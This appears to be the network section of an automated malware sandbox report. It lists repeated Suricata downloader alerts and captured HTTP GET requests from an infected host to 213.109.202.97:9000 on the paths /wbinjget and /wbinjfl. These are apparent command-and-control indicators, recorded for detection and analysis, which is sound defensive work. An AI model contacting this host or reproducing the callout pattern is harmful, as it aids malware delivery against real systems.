Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49831 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49754 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49848 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49860 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49866 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49854 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49872 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49878 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49884 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49894 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49900 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49906 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49913 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49840 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49919 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49925 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49932 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49938 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49951 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49967 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49957 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49973 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49991 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49997 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50004 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49944 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50014 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50019 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50025 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50027 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50028 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50029 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50030 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50031 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50032 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50033 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50034 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50035 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50036 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50040 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50043 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49979 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50045 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50046 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50047 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50049 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50050 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49985 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50052 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50053 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50054 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50044 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50055 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50056 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50057 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50059 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50060 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50061 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50062 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50063 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50064 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50065 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50066 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50069 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50070 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50071 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50072 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50073 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50074 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50068 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50075 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50077 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50078 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50079 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50080 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50082 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50083 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50084 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50086 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50087 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50088 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50089 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50090 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50091 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50092 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50093 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50094 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50096 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50097 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50098 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50099 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50100 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50103 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50104 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50105 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50106 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50107 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50108 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50109 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50110 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50111 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50112 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50113 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50114 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50115 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50116 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50095 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50117 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50118 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50119 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50120 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50121 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50123 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50133 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50141 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50147 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50150 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50152 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50155 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50159 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50160 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50170 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50175 -> 213.109.202.97:9000

Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97

Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjfl?q=02a10a9fb79f454eb9b579eb295605f6 HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 213.109.202.97:9000
